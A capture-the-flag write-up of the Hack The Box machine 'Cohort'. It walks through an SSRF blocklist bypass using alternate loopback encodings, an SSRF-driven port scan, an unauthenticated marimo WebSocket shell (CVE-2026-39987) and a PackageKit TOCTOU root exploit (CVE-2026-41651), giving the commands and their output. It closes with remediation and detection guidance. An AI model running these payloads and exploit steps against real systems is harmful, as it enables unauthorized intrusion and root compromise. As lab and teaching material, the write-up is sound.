back to writeups

Cohort

Hack The Box · app.hackthebox.com/machines/Cohort · Season 11
Machine rank #406 Linux Easy Season 11 SSRF Pre-auth RCE TOCTOU privesc User Root ● Completed
TL;DR A validation form that fetches a URL for you. A blocklist that only knows one spelling of "localhost". Two CVEs. That is the whole box — a public form became a server-side request forgery primitive against loopback, loopback held an internal marimo notebook with a pre-auth WebSocket shell (CVE-2026-39987), and root was a single PackageKit package held back at a vulnerable build while its own libraries were patched around it (CVE-2026-41651).
Target
cohort.htb — "Cohort Analytics"
Host OS
Ubuntu 24.04.4 LTS · kernel 6.8.0-136
Foothold
SSRF (blocklist bypass) → CVE-2026-39987 (marimo pre-auth RCE)
Privesc
CVE-2026-41651 — PackageKit "Pack2TheRoot" TOCTOU

This one looked small from the outside and stayed small — but it is a clean lesson in trusting the wrong boundary twice. A public form let me forge requests into the box's own loopback, an internal notebook server was carrying a pre-auth shell, and the only thing standing between me and root was a single package someone had pinned back at a vulnerable version. I have written it up the way I would hand it to a client: what I did, then how I would stop it happening.

01Recon

Cohort Analytics is a small marketing site for a fictional retention-analytics consultancy. Three ports, nothing exotic:

nmap -sC -sV -T4 <target>
PortServiceNotes
22sshOpenSSH 9.6p1
80httpnginx, 301s to 443
443httpsnginx · "Cohort Analytics" SPA

The TLS certificate was a wildcard for *.cohort.htb. I noted it and moved on — it reads like a lead but it is not one directly, and it took me a while to realise it was the whole game.

echo "<target> cohort.htb" | sudo tee -a /etc/hosts
curl -sk https://cohort.htb/
curl -sk https://cohort.htb/assets/app.js -o app.js
feroxbuster -u https://cohort.htb/ -k \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Brute-forcing ~5,000 subdomain names just found nginx's own catch-all, which 301s anything unrecognised back to the main site. The one part of the site worth lingering on was a client portal at /portal.html, offering to "validate" a data-feed URL before onboarding it. Anything that takes a URL from me and goes and fetches it is worth a hard look.

02The foothold — a blocklist that knew two words

The portal's Validate source button calls POST /api/validate with a URL and a declared format. The stated safeguard was to reject anything pointing at localhost or a loopback address. In practice that was a literal string comparison against 127.0.0.1 and localhost — and a blocklist that only knows two spellings of a thing is not a blocklist at all. Every alternate way of writing loopback sailed straight through:

# the honest request, to see a normal response
curl -sk -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com/","format":"csv"}'

# what the blocklist actually catches
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.0.0.1/"}'   # blocked
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://localhost/"}'   # blocked

# everything it does not
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.1/"}'              # short form
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://0177.0.0.1/"}'         # octal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://2130706433/"}'         # decimal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://[::ffff:127.0.0.1]/"}' # v4-mapped v6

Root cause: the backend checked the hostname against a fixed BLOCKED_HOSTS list with no DNS resolution and no normalisation, so any encoding it did not literally list was treated as "external" and fetched. There is no outbound internet from the box, so this SSRF was only ever going to matter against internal services — which is exactly what it was for.

03Pivoting inward

With a working bypass, the validator became a blind port scanner against loopback. I swept the low ports and watched for the difference between "connection refused" and an actual response:

for p in $(seq 1 10000); do
  curl -sk --max-time 3 -X POST https://cohort.htb/api/validate \
    -d "{\"url\":\"http://127.1:$p/\"}" | grep -q 'Connection refused' || echo "OPEN: $p"
done

Two things answered:

marimo is a Python notebook, and notebook servers are a gift if you can reach them. I fingerprinted the version through the same SSRF:

curl -sk -X POST https://cohort.htb/api/validate \
  -d '{"url":"http://127.1:8888/api/version"}'
# → marimo 0.20.4

04The right CVE, the wrong transport

That version is vulnerable to CVE-2026-39987. marimo before 0.23.0 forgets to authenticate one WebSocket route: /terminal/ws never calls the auth check that every other WS route does. It only checks the running mode and platform support, then hands out a live PTY — no token, no password. On a box running 0.20.4 that is a straight pre-auth RCE.

The catch, and the actual thinking on this box: my only path to 127.0.0.1:8888 was the SSRF, and the SSRF was a blind, single-shot HTTP GET. I had no control over the method or the headers, which makes it structurally incapable of the Upgrade: websocket handshake the exploit needs. I had the right vulnerability behind the wrong door.

05The unlock — the wildcard cert mattered after all

marimo was not only bound to loopback — it was also reachable over a per-notebook dynamic hostname that nginx proxies straight through to 127.0.0.1:8888. That path is a normal front-door HTTPS vhost, so it happily carries a full WebSocket upgrade, sidestepping the SSRF's transport limits entirely. The *.cohort.htb certificate is what makes those nb-<id> hosts resolvable and trusted. Once I had the notebook id from the SSRF fingerprint, I pointed straight at it:

echo "<target> nb-<notebook-id>.cohort.htb" | sudo tee -a /etc/hosts
websocat -k wss://nb-<notebook-id>.cohort.htb/terminal/ws
$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
$ cat /home/marimo/user.txt
user.txt<redacted>

06Privesc — everything that did not work

As marimo I ran the usual sweep — SUID/SGID, sudo, cron and timers, capabilities, polkit — and it all came up empty:

sudo -V; dpkg -l sudo needrestart
uname -v; dpkg -l 'linux-image*'
cat /etc/modprobe.d/*.conf
find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID

The kernel was deliberately hardened, with sysctl and modprobe files named after specific 2026 kernel CVEs — a trap laid to burn time. I checked each one against the exact build (6.8.0-136.136) instead of assuming, and every single one was already dead:

NameCVEStatus
GhostLock2026-43499Patched — kernel at fixed build
Fragnesia2026-46300Patched upstream
DirtyClone2026-43503Patched upstream
Copy Fail2026-31431Blocked — algif_aead disabled
Dirty Frag2026-43284 / 43500Blocked — esp4/esp6/rxrpc off
pedit COW2026-46331Blocked — needs CAP_NET_ADMIN; userns off
AF_UNIX OOB UAF2025-38236Patched upstream

Seven for seven. The kernel path was never it — the point of that section was to make you waste an afternoon on it. I would rather rule a thing out in five minutes with a version check than run an exploit blind, so I moved on.

07Root — a held package

linpeas caught what the manual sweep did not: PackageKit was pinned at a vulnerable build while its own supporting library had been upgraded around it.

bash linpeas.sh > lp.out 2>&1
dpkg -l | grep packagekit
hi  packagekit               1.2.8-2ubuntu1.2   # held, vulnerable
ii  libpackagekit-glib2-18   1.2.8-2ubuntu1.5   # patched

That hi state — held, half-upgraded — is the whole bug's enabler. CVE-2026-41651, "Pack2TheRoot", is a deterministic (not racy) TOCTOU in PackageKit's InstallFiles handling. Two InstallFiles() calls in quick succession — first with SIMULATE, which skips the polkit prompt, then with the real flags — let the second call overwrite the cached transaction state before GLib's idle callback runs it. The daemon then installs whatever the second call pointed at, as root, with no authentication prompt. Because it is deterministic there is no race to win — it just works.

python3 pack2root.py --check
python3 pack2root.py --no-cleanup --exec 'id; cat /root/root.txt'
[+] SUCCESS: SUID bash at /tmp/.suid_bash
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
root.txt<redacted>

08If this were your environment

This is the part I care about most, because it is the part that maps to my day job. Every finding below has the fix I would write into a report, plus the hardening controls it lands under so you are not taking my word for it.

Finding 1 · High

SSRF — URL validation built on a string-match blocklist (CWE-918)

The validator decided "safe" by comparing the hostname string against two blocked values. Any other encoding of loopback — short, octal, decimal, IPv4-mapped IPv6 — was treated as external and fetched, turning a safety feature into a request-forgery primitive against internal services.

How I would fix it
NIST 800-53 r5: SC-7 and SC-7(11)/(21) boundary protection & egress isolation · AC-4 information-flow enforcement · SI-10 input validation
NIST 800-171 r3: 3.13.1 / 3.13.5 boundary protection · 3.14.x input validation
CIS Controls v8: 4.x secure configuration · 13.x network monitoring & egress control
Vendor / OWASP: SSRF Prevention Cheat Sheet — allow-list, block internal ranges, disable unused schemes
Finding 2 · Critical

Internal marimo exposed with an unauthenticated PTY (CVE-2026-39987)

marimo 0.20.4 served a pre-auth interactive shell on /terminal/ws, and a permissive wildcard-cert vhost re-exposed the loopback-bound service to the network. Binding to 127.0.0.1 was undone by the reverse proxy.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · CM-7 least functionality (disable terminal) · IA-2 / IA-5 authentication · AC-3 access enforcement · SC-7 proxy boundary
NIST 800-171 r3: 3.4.6 least functionality · 3.5.x identification & auth · 3.14.1 flaw remediation
DISA STIG (call-out): Application Security & Development STIG APSC-DV-002540 / -002550 — authenticate all access, no unauthenticated interactive function. This "no unauthenticated management/shell interface" requirement is explicit in the DISA App Sec & Dev STIG but is not spelled out the same way in CIS or NIST — cite the STIG when writing this up for government work.
CIS Controls v8: 4.8 disable unnecessary services · 7.x continuous vulnerability management
Finding 3 · Critical

Root via a held, partially-upgraded PackageKit (CVE-2026-41651)

The whole root path existed because packagekit was pinned at 1.2.8-2ubuntu1.2 while libpackagekit-glib2-18 had moved to the patched 1.2.8-2ubuntu1.5. A held daemon sitting below its own libraries is the exact condition the TOCTOU needs.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · CM-2 / CM-6 baseline & config settings (no held packages) · CM-7 least functionality · AC-6 least privilege (polkit)
NIST 800-171 r3: 3.4.1 / 3.4.2 baseline config · 3.14.1 flaw remediation · 3.1.5 least privilege
DISA STIG: Ubuntu 24.04 LTS STIG (UBTU-24-*) — security updates applied, no packages held back from security patching; enforceable via Canonical's Ubuntu Security Guide (USG)
CIS: CIS Ubuntu Linux 24.04 Benchmark 1.9 "updates, patches & additional security software installed"
Vendor: Canonical USN for CVE-2026-41651 — upgrade to the fixed 1.2.8-2ubuntu1.5; do not pin or hold. The freedesktop PackageKit advisory patches the InstallFiles transaction-state handling.

09Detection — the blue-team side

What I would want alerting on if I could not fix it tomorrow:

10Takeaways

◆If this were my environment

The attack moved from a web SSRF into a development notebook and then through an over-privileged package-management path. I would segment development tooling and make every privileged package action explicit and authenticated.

Priority controls
  • Place notebooks and developer consoles on a management network, require strong authentication and disable anonymous or cross-origin execution.
  • Enforce outbound URL allow-lists and network egress policy so a web application cannot reach loopback or internal administration services.
  • Patch PackageKit and its dependencies promptly, restrict D-Bus policy, and remove package-management rights from application identities.
  • Use a hardened Linux baseline plus service sandboxing, read-only paths and mandatory access control to contain a compromised worker.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups